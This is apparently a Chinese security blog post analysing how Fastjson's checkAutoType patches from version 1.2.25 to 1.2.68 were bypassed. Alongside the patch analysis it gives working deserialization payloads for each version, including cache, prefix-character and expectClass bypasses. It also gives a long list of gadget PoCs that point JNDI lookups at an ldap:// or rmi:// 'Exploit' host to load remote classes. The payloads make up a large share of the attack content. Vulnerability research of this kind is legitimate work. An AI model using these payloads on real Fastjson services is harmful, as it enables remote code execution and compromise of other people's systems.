少女祈祷中...

fastjson高版本补丁绕过

补丁分析

1.2.25

在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。

在获取@type的值后,1.2.24以后的版本新增函数checkAutoType,在类加载之前检查是否允许加载

进入ParseConfig#checkAutoType
在尝试取缓存无法取到的时候,
先进行黑名单过滤,类名不能是以黑名单的开头

黑名单

那基本就是被黑名单限制了,导致异常提前退出异常
若是手动开启了AutoType,那么就是先白名单,再黑名单,再取缓存

流程图

1.2.42

1.2.42相较于之前的版本,关键是在ParserConfig.java中修改了以下两点

  • 黑名单改为了hash值,防止绕过
  • 对于传入的类名,删除开头L和结尾的;

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究 ( 可恶(: ),提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:
GitHub - LeadroyaL/fastjson-blacklist

首先第一步就是各种运算,起初还没看懂在干什么,感觉就是给读者做混淆 应该与下面的if条件是一样的 白名单和黑名单都是采用特殊的运算计算hash,从寻找黑白名单中是否有计算出的hash

1.2.43

添加检查

在原本检查L和;基础上检查类名的第二个字符是否为L如果是就直接异常退出
就是排除类名是以LL开头的情况,然后再截取

1.2.48

并将java.lang.Class类放入了黑名单,这样彻底封死了从mapping中加载恶意类

设置AutoType
默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

之后的payload 有些需要开启AutoType

无需开启AutoType

低于1.2.47版本的补丁绕过

说明:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

通过缓存绕过,payload如下:

{
"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"b":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"DataSourceName":"rmi://127.0.0.1:8085/dzJvybqs",
"AutoCommit":false
}
}

payload主要是分为两部分
调式
第一部分:
首先java.lang.Class是默认支持的类,所以可以直接从白名单IdentityHashMap中拿出
从白名单中拿出的类默认是MiscCodec这个类来进行反序列化
MiscCodec#deserialze方法中默认是往下读取val属性

然后解析json得到val属性的值
然后加载val对应值的类

在加载类的时候,把对应类加载后,放入mapping缓存,这也是绕过的关键–放入mapping缓存

第二部分
直接先从缓存中获取

因为之前加载前面的类的时候已经放入过mapping了,所以这里能够直接拿到

拿到class后就会直接返回,就不会走到后面触发异常

低于1.2.68版本的补丁绕过

条件

  • Fastjson <= 1.2.68
  • 利用类必须是expectClass类的子类或实现类,并且不在黑名单中

1.2.68版本后,fastjson新增safemode模式,可以完全关闭AutoType:
https://github.com/alibaba/fastjson/wiki/fastjson_safemode

本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。
简单地说,本次绕过checkAutoType()函数的攻击步骤为:

  1. 先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
  2. 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;

假设现在已知这个类(这里我们就自己写一个)

payload如下:

{"@type":"java.lang.AutoCloseable","@type":"org.example.VulAutoCloseable","cmd":"calc"}

后面获取到JavaBeanDeserializer,直接看deserialze方法

此时已经是已经加载了前面的java.lang.AutoCloseable,所以这里expectClass不为空

在这里expectClassFlag设置为true
到后面

然后loadClass返回

然后还是会检查是否为被ban的相关类,判断目标类是否是expectClass类的子类,是的话就添加到Mapping缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断

总结:第一个 @type 进去什么都没有发生;但是第一个 @type 是作为第二个指定的类里面的 expectClass。所以说白了,loadClass 去作用的类是第一个 @type;如果这个 @type 是可控的恶意类,可以造成命令执行攻击。
并且需要加载的目标类是expectClass类的子类或者实现类时(不在黑名单中)

这里直接参考b1ue大佬文章,主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。
,相关实际应用为利用fastjson写文件,参考:https://www.yuque.com/yyjccc/pk74ko/de45vsli00bmwtuh

看GitHub官方的diff,主要在ParserConfig.java中:https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4
对比看到expectClass的判断逻辑中,对类名进行了Hash处理再比较哈希黑名单,并且添加了三个类:

网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为:

版本 十进制Hash值 十六进制Hash值 类名
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable

这就简单粗暴地防住了这几个类导致的绕过问题了。

需要开启AutoType

1.2.25-1.2.41绕过

做法:在@type指定的类前加上’L’,后面加上’;’
如:

{" 
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}
//其他利用链也同理

这样绕过了黑名,看看怎么加载类的

流程
在ParseConfig#checkAutoType中
由于开启autoTypeSupport所以其为True,能通过黑名单
到达

跟进

发现类名要是以L开头并且以;结尾就会去除这些字符再递归调用
上面流程又得到了未变化之前的类名,可以正常的加载

1.2.42绕过

做法:在@type指定的类前加上两个’L’,后面加上两个’;’
如:

{" 
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}
//其他利用链也同理
这里只截取了一次,所以可以再套一层,类名前面两个L后面两个;

由于是递归使用的loadClass所以可以去除两层

1.2.43绕过

操作: 类名前添加’[‘,类名引号外添加’ [{ ‘

{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1399/Exploit",
"autoCommit":true
}
//其他利用链也同理

利用前面1.2.41的类似的还有一个if条件,就是以[开头,
尝试直接以[开头,报错

根据报错JdbcRowSetImpl” 后面期望是[而不是’,’那就满足他,在’,’前添加[
还是报错

继续添加{
执行成功

与之前不同的是,进入的是前面的一个if条件

最后得到的类是一个数组类

获取到的反序列就是ObjectArrayCodec

继续跟进

获取具体的类
创建数组JSONArray
然后parseArray

后面的流程应该就一样了

1.2.45绕过(MyBatis JNDI注入链)

1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

条件:

  • 高版本开启AutoType
  • mybatis相关依赖
    <dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.6</version>
    </dependency>

poc

{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:9999/EXP"
}
}

过程
触发setter方法
JndiDataSourceFactory#setProperties方法

传入的参数刚好就是键值对
这里会初始化上下文环境
然后就行look
look查询的是键值对(Properties)中key为data_source的值

1.2.62-1.2.68版本

1.2.62

条件:

  • 需要开启AutoType;
  • JNDI注入利用所受的JDK版本限制;
  • 目标服务端需要存在xbean-reflect包

也是新 Gadget 绕过黑名单限制。
依赖

<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>

分析
org.apache.xbean.propertyeditor.JndiConverter 类的 toObjectImpl() 函数存在 JNDI 注入漏洞,可由其构造函数处触发利用。

触发点在其父类AbstractConverter 的setAsText中

toObject 又调用toObjectImpl

poc

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://127.0.0.1:8085/tmuCzovY"}

1.2.66

条件

  • 开启AutoType;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig类PoC:

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTra

1.2.67

条件

  • 开启AutoType;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory类PoC:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

其他一些绕过黑名单的Gadget

这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制。

1.2.59

com.zaxxer.hikari.HikariConfig类PoC:

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
JSON

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
JSON

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:
JSON

{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类PoC:
JSON

{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

未知版本

org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory类PoC:
JSON

{"@type":"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory类PoC:
JSON

{"@type":"org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory", "tmJndiName": "ldap://localhost:1389/Exploit", "tmFromJndi": true, "transactionManager": {"$ref":"$.transactionManager"}}

参考资料

浅析Fastjson1.2.62-1.2.68反序列化漏洞-安全客 - 安全资讯平台
https://drun1baby.top/2022/08/13/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8704-Fastjson1-2-62-1-2-68%E7%89%88%E6%9C%AC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-1-2-62-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

各个版本的payload

Reference